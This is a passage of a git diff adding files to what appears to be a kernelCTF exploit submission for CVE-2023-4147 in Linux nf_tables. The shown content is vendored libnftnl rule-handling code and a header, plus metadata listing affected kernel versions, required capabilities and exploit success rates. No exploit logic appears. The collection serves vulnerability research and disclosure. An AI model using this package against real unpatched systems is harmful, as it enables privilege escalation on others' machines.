NFTA_LIST_ELEM) + return -1; + + expr = nftnl_expr_parse(attr); + if (expr == NULL) + return -1; + + list_add_tail(&expr->head, &r->expr_list); + } + return 0; +} + +static int nftnl_rule_parse_compat_cb(const struct nlattr *attr, void *data) +{ + const struct nlattr **tb = data; + int type = mnl_attr_get_type(attr); + + if (mnl_attr_type_valid(attr, NFTA_RULE_COMPAT_MAX) < 0) + return MNL_CB_OK; + + switch(type) { + case NFTA_RULE_COMPAT_PROTO: + case NFTA_RULE_COMPAT_FLAGS: + if (mnl_attr_validate(attr, MNL_TYPE_U32) < 0) + abi_breakage(); + break; + } + + tb[type] = attr; + return MNL_CB_OK; +} + +static int nftnl_rule_parse_compat(struct nlattr *nest, struct nftnl_rule *r) +{ + struct nlattr *tb[NFTA_RULE_COMPAT_MAX+1] = {}; + + if (mnl_attr_parse_nested(nest, nftnl_rule_parse_compat_cb, tb) < 0) + return -1; + + if (tb[NFTA_RULE_COMPAT_PROTO]) { + r->compat.proto = + ntohl(mnl_attr_get_u32(tb[NFTA_RULE_COMPAT_PROTO])); + r->flags |= (1 << NFTNL_RULE_COMPAT_PROTO); + } + if (tb[NFTA_RULE_COMPAT_FLAGS]) { + r->compat.flags = + ntohl(mnl_attr_get_u32(tb[NFTA_RULE_COMPAT_FLAGS])); + r->flags |= (1 << NFTNL_RULE_COMPAT_FLAGS); + } + return 0; +} + +EXPORT_SYMBOL(nftnl_rule_nlmsg_parse); +int nftnl_rule_nlmsg_parse(const struct nlmsghdr *nlh, struct nftnl_rule *r) +{ + struct nlattr *tb[NFTA_RULE_MAX+1] = {}; + struct nfgenmsg *nfg = mnl_nlmsg_get_payload(nlh); + int ret; + + if (mnl_attr_parse(nlh, sizeof(*nfg), nftnl_rule_parse_attr_cb, tb) < 0) + return -1; + + if (tb[NFTA_RULE_TABLE]) { + if (r->flags & (1 << NFTNL_RULE_TABLE)) + xfree(r->table); + r->table = strdup(mnl_attr_get_str(tb[NFTA_RULE_TABLE])); + if (!r->table) + return -1; + r->flags |= (1 << NFTNL_RULE_TABLE); + } + if (tb[NFTA_RULE_CHAIN]) { + if (r->flags & (1 << NFTNL_RULE_CHAIN)) + xfree(r->chain); + r->chain = strdup(mnl_attr_get_str(tb[NFTA_RULE_CHAIN])); + if (!r->chain) + return -1; + r->flags |= (1 << NFTNL_RULE_CHAIN); + } + if (tb[NFTA_RULE_CHAIN_ID]) { + r->chain_id = be32toh(mnl_attr_get_u64(tb[NFTA_RULE_CHAIN_ID])); + r->flags |= (1 << NFTNL_RULE_CHAIN_ID); + } + if (tb[NFTA_RULE_HANDLE]) { + r->handle = be64toh(mnl_attr_get_u64(tb[NFTA_RULE_HANDLE])); + r->flags |= (1 << NFTNL_RULE_HANDLE); + } + if (tb[NFTA_RULE_EXPRESSIONS]) { + ret = nftnl_rule_parse_expr(tb[NFTA_RULE_EXPRESSIONS], r); + if (ret < 0) + return ret; + } + if (tb[NFTA_RULE_COMPAT]) { + ret = nftnl_rule_parse_compat(tb[NFTA_RULE_COMPAT], r); + if (ret < 0) + return ret; + } + if (tb[NFTA_RULE_POSITION]) { + r->position = be64toh(mnl_attr_get_u64(tb[NFTA_RULE_POSITION])); + r->flags |= (1 << NFTNL_RULE_POSITION); + } + if (tb[NFTA_RULE_USERDATA]) { + const void *udata = + mnl_attr_get_payload(tb[NFTA_RULE_USERDATA]); + + if (r->flags & (1 << NFTNL_RULE_USERDATA)) + xfree(r->user.data); + + r->user.len = mnl_attr_get_payload_len(tb[NFTA_RULE_USERDATA]); + + r->user.data = malloc(r->user.len); + if (r->user.data == NULL) + return -1; + + memcpy(r->user.data, udata, r->user.len); + r->flags |= (1 << NFTNL_RULE_USERDATA); + } + if (tb[NFTA_RULE_ID]) { + r->id = ntohl(mnl_attr_get_u32(tb[NFTA_RULE_ID])); + r->flags |= (1 << NFTNL_RULE_ID); + } + if (tb[NFTA_RULE_POSITION_ID]) { + r->position_id = ntohl(mnl_attr_get_u32(tb[NFTA_RULE_POSITION_ID])); + r->flags |= (1 << NFTNL_RULE_POSITION_ID); + } + + r->family = nfg->nfgen_family; + r->flags |= (1 << NFTNL_RULE_FAMILY); + + return 0; +} + +static int nftnl_rule_do_parse(struct nftnl_rule *r, enum nftnl_parse_type type, + const void *data, struct nftnl_parse_err *err, + enum nftnl_parse_input input) +{ + int ret; + struct nftnl_parse_err perr = {}; + + switch (type) { + case NFTNL_PARSE_JSON: + case NFTNL_PARSE_XML: + default: + ret = -1; + errno = EOPNOTSUPP; + break; + } + if (err != NULL) + *err = perr; + + return ret; +} + +EXPORT_SYMBOL(nftnl_rule_parse); +int nftnl_rule_parse(struct nftnl_rule *r, enum nftnl_parse_type type, + const char *data, struct nftnl_parse_err *err) +{ + return nftnl_rule_do_parse(r, type, data, err, NFTNL_PARSE_BUFFER); +} + +EXPORT_SYMBOL(nftnl_rule_parse_file); +int nftnl_rule_parse_file(struct nftnl_rule *r, enum nftnl_parse_type type, + FILE *fp, struct nftnl_parse_err *err) +{ + return nftnl_rule_do_parse(r, type, fp, err, NFTNL_PARSE_FILE); +} + +static int nftnl_rule_snprintf_default(char *buf, size_t remain, + const struct nftnl_rule *r, + uint32_t type, uint32_t flags) +{ + struct nftnl_expr *expr; + int ret, offset = 0, i; + const char *sep = ""; + + if (r->flags & (1 << NFTNL_RULE_FAMILY)) { + ret = snprintf(buf + offset, remain, "%s%s", sep, + nftnl_family2str(r->family)); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + sep = " "; + } + + if (r->flags & (1 << NFTNL_RULE_TABLE)) { + ret = snprintf(buf + offset, remain, "%s%s", sep, + r->table); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + sep = " "; + } + + if (r->flags & (1 << NFTNL_RULE_CHAIN)) { + ret = snprintf(buf + offset, remain, "%s%s", sep, + r->chain); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + sep = " "; + } + if (r->flags & (1 << NFTNL_RULE_HANDLE)) { + ret = snprintf(buf + offset, remain, "%s%" PRIu64, sep, + r->handle); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + sep = " "; + } + + if (r->flags & (1 << NFTNL_RULE_POSITION)) { + ret = snprintf(buf + offset, remain, "%s%" PRIu64, sep, + r->position); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + sep = " "; + } + + if (r->flags & (1 << NFTNL_RULE_ID)) { + ret = snprintf(buf + offset, remain, "%s%u", sep, r->id); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + sep = " "; + } + + if (r->flags & (1 << NFTNL_RULE_POSITION_ID)) { + ret = snprintf(buf + offset, remain, "%s%u", sep, + r->position_id); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + sep = " "; + } + + ret = snprintf(buf + offset, remain, "\n"); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + + list_for_each_entry(expr, &r->expr_list, head) { + ret = snprintf(buf + offset, remain, " [ %s ", expr->ops->name); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + + ret = nftnl_expr_snprintf(buf + offset, remain, expr, + type, flags); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + + ret = snprintf(buf + offset, remain, "]\n"); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + } + + if (r->user.len) { + ret = snprintf(buf + offset, remain, " userdata = { "); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + + for (i = 0; i < r->user.len; i++) { + char *c = r->user.data; + + ret = snprintf(buf + offset, remain, + isprint(c[i]) ? "%c" : "\\x%02hhx", + c[i]); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + } + + ret = snprintf(buf + offset, remain, " }"); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + + } + + return offset; +} + +static int nftnl_rule_cmd_snprintf(char *buf, size_t remain, + const struct nftnl_rule *r, uint32_t cmd, + uint32_t type, uint32_t flags) +{ + uint32_t inner_flags = flags; + int ret, offset = 0; + + inner_flags &= ~NFTNL_OF_EVENT_ANY; + + if (type != NFTNL_OUTPUT_DEFAULT) + return -1; + + ret = nftnl_rule_snprintf_default(buf + offset, remain, r, type, + inner_flags); + SNPRINTF_BUFFER_SIZE(ret, remain, offset); + return offset; +} + +EXPORT_SYMBOL(nftnl_rule_snprintf); +int nftnl_rule_snprintf(char *buf, size_t size, const struct nftnl_rule *r, + uint32_t type, uint32_t flags) +{ + if (size) + buf[0] = '\0'; + + return nftnl_rule_cmd_snprintf(buf, size, r, nftnl_flag2cmd(flags), type, + flags); +} + +static int nftnl_rule_do_snprintf(char *buf, size_t size, const void *r, + uint32_t cmd, uint32_t type, uint32_t flags) +{ + return nftnl_rule_snprintf(buf, size, r, type, flags); +} + +EXPORT_SYMBOL(nftnl_rule_fprintf); +int nftnl_rule_fprintf(FILE *fp, const struct nftnl_rule *r, uint32_t type, + uint32_t flags) +{ + return nftnl_fprintf(fp, r, NFTNL_CMD_UNSPEC, type, flags, + nftnl_rule_do_snprintf); +} + +EXPORT_SYMBOL(nftnl_expr_foreach); +int nftnl_expr_foreach(struct nftnl_rule *r, + int (*cb)(struct nftnl_expr *e, void *data), + void *data) +{ + struct nftnl_expr *cur, *tmp; + int ret; + + list_for_each_entry_safe(cur, tmp, &r->expr_list, head) { + ret = cb(cur, data); + if (ret < 0) + return ret; + } + return 0; +} + +struct nftnl_expr_iter { + const struct nftnl_rule *r; + struct nftnl_expr *cur; +}; + +static void nftnl_expr_iter_init(const struct nftnl_rule *r, + struct nftnl_expr_iter *iter) +{ + iter->r = r; + if (list_empty(&r->expr_list)) + iter->cur = NULL; + else + iter->cur = list_entry(r->expr_list.next, struct nftnl_expr, + head); +} + +EXPORT_SYMBOL(nftnl_expr_iter_create); +struct nftnl_expr_iter *nftnl_expr_iter_create(const struct nftnl_rule *r) +{ + struct nftnl_expr_iter *iter; + + iter = calloc(1, sizeof(struct nftnl_expr_iter)); + if (iter == NULL) + return NULL; + + nftnl_expr_iter_init(r, iter); + + return iter; +} + +EXPORT_SYMBOL(nftnl_expr_iter_next); +struct nftnl_expr *nftnl_expr_iter_next(struct nftnl_expr_iter *iter) +{ + struct nftnl_expr *expr = iter->cur; + + if (expr == NULL) + return NULL; + + /* get next expression, if any */ + iter->cur = list_entry(iter->cur->head.next, struct nftnl_expr, head); + if (&iter->cur->head == iter->r->expr_list.next) + return NULL; + + return expr; +} + +EXPORT_SYMBOL(nftnl_expr_iter_destroy); +void nftnl_expr_iter_destroy(struct nftnl_expr_iter *iter) +{ + xfree(iter); +} + +struct nftnl_rule_list { + struct list_head list; +}; + +EXPORT_SYMBOL(nftnl_rule_list_alloc); +struct nftnl_rule_list *nftnl_rule_list_alloc(void) +{ + struct nftnl_rule_list *list; + + list = calloc(1, sizeof(struct nftnl_rule_list)); + if (list == NULL) + return NULL; + + INIT_LIST_HEAD(&list->list); + + return list; +} + +EXPORT_SYMBOL(nftnl_rule_list_free); +void nftnl_rule_list_free(struct nftnl_rule_list *list) +{ + struct nftnl_rule *r, *tmp; + + list_for_each_entry_safe(r, tmp, &list->list, head) { + list_del(&r->head); + nftnl_rule_free(r); + } + xfree(list); +} + +EXPORT_SYMBOL(nftnl_rule_list_is_empty); +int nftnl_rule_list_is_empty(const struct nftnl_rule_list *list) +{ + return list_empty(&list->list); +} + +EXPORT_SYMBOL(nftnl_rule_list_add); +void nftnl_rule_list_add(struct nftnl_rule *r, struct nftnl_rule_list *list) +{ + list_add(&r->head, &list->list); +} + +EXPORT_SYMBOL(nftnl_rule_list_insert_at); +void nftnl_rule_list_insert_at(struct nftnl_rule *r, struct nftnl_rule *pos) +{ + list_add(&r->head, &pos->head); +} + +EXPORT_SYMBOL(nftnl_rule_list_add_tail); +void nftnl_rule_list_add_tail(struct nftnl_rule *r, struct nftnl_rule_list *list) +{ + list_add_tail(&r->head, &list->list); +} + +EXPORT_SYMBOL(nftnl_rule_list_del); +void nftnl_rule_list_del(struct nftnl_rule *r) +{ + list_del(&r->head); +} + +EXPORT_SYMBOL(nftnl_rule_list_foreach); +int nftnl_rule_list_foreach(struct nftnl_rule_list *rule_list, + int (*cb)(struct nftnl_rule *r, void *data), + void *data) +{ + struct nftnl_rule *cur, *tmp; + int ret; + + list_for_each_entry_safe(cur, tmp, &rule_list->list, head) { + ret = cb(cur, data); + if (ret < 0) + return ret; + } + return 0; +} + +struct nftnl_rule_list_iter { + const struct nftnl_rule_list *list; + struct nftnl_rule *cur; +}; + +EXPORT_SYMBOL(nftnl_rule_list_iter_create); +struct nftnl_rule_list_iter * +nftnl_rule_list_iter_create(const struct nftnl_rule_list *l) +{ + struct nftnl_rule_list_iter *iter; + + iter = calloc(1, sizeof(struct nftnl_rule_list_iter)); + if (iter == NULL) + return NULL; + + iter->list = l; + if (nftnl_rule_list_is_empty(l)) + iter->cur = NULL; + else + iter->cur = list_entry(l->list.next, struct nftnl_rule, head); + + return iter; +} + +EXPORT_SYMBOL(nftnl_rule_list_iter_cur); +struct nftnl_rule *nftnl_rule_list_iter_cur(struct nftnl_rule_list_iter *iter) +{ + return iter->cur; +} + +EXPORT_SYMBOL(nftnl_rule_list_iter_next); +struct nftnl_rule *nftnl_rule_list_iter_next(struct nftnl_rule_list_iter *iter) +{ + struct nftnl_rule *r = iter->cur; + + if (r == NULL) + return NULL; + + /* get next rule, if any */ + iter->cur = list_entry(iter->cur->head.next, struct nftnl_rule, head); + if (&iter->cur->head == iter->list->list.next) + return NULL; + + return r; +} + +EXPORT_SYMBOL(nftnl_rule_list_iter_destroy); +void nftnl_rule_list_iter_destroy(const struct nftnl_rule_list_iter *iter) +{ + xfree(iter); +} diff --git a/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/lts-6.1.36/rule.h b/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/lts-6.1.36/rule.h new file mode 100644 index 00000000..6781aa70 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/exploit/lts-6.1.36/rule.h @@ -0,0 +1,28 @@ +#ifndef _LIBNFTNL_RULE_INTERNAL_H_ +#define _LIBNFTNL_RULE_INTERNAL_H_ + +struct nftnl_rule { + struct list_head head; + + uint32_t flags; + uint32_t family; + const char *table; + const char *chain; + uint32_t chain_id; + uint64_t handle; + uint64_t position; + uint32_t id; + uint32_t position_id; + struct { + void *data; + uint32_t len; + } user; + struct { + uint32_t flags; + uint32_t proto; + } compat; + + struct list_head expr_list; +}; + +#endif diff --git a/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/metadata.json b/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/metadata.json new file mode 100644 index 00000000..0a867990 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/metadata.json @@ -0,0 +1,41 @@ +{ + "$schema":"https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids":[ + "exp90" + ], + "vulnerability":{ + "patch_commit":"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=0ebc1064e4874d5987722a2ddbc18f94aa53b211", + "cve":"CVE-2023-4147", + "affected_versions":[ + "5.9-rc1 - 6.5-rc3" + ], + "requirements":{ + "attack_surface":[ + + ], + "capabilities":[ + "CAP_NET_ADMIN" + ], + "kernel_config":[ + "CONFIG_NETFILTER", + "CONFIG_NF_TABLES" + ] + } + }, + "exploits": { + "lts-6.1.36": { + "uses":[ + "userns" + ], + "requires_separate_kaslr_leak":false, + "stability_notes":"9~10 times success per 10 times run" + }, + "cos-105-17412.101.42": { + "uses":[ + "userns" + ], + "requires_separate_kaslr_leak":false, + "stability_notes":"7 times success per 10 times run" + } + } + } \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/original.tar.gz b/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/original.tar.gz new file mode 100644 index 00000000..0448132c Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-4147_lts_cos/original.tar.gz differ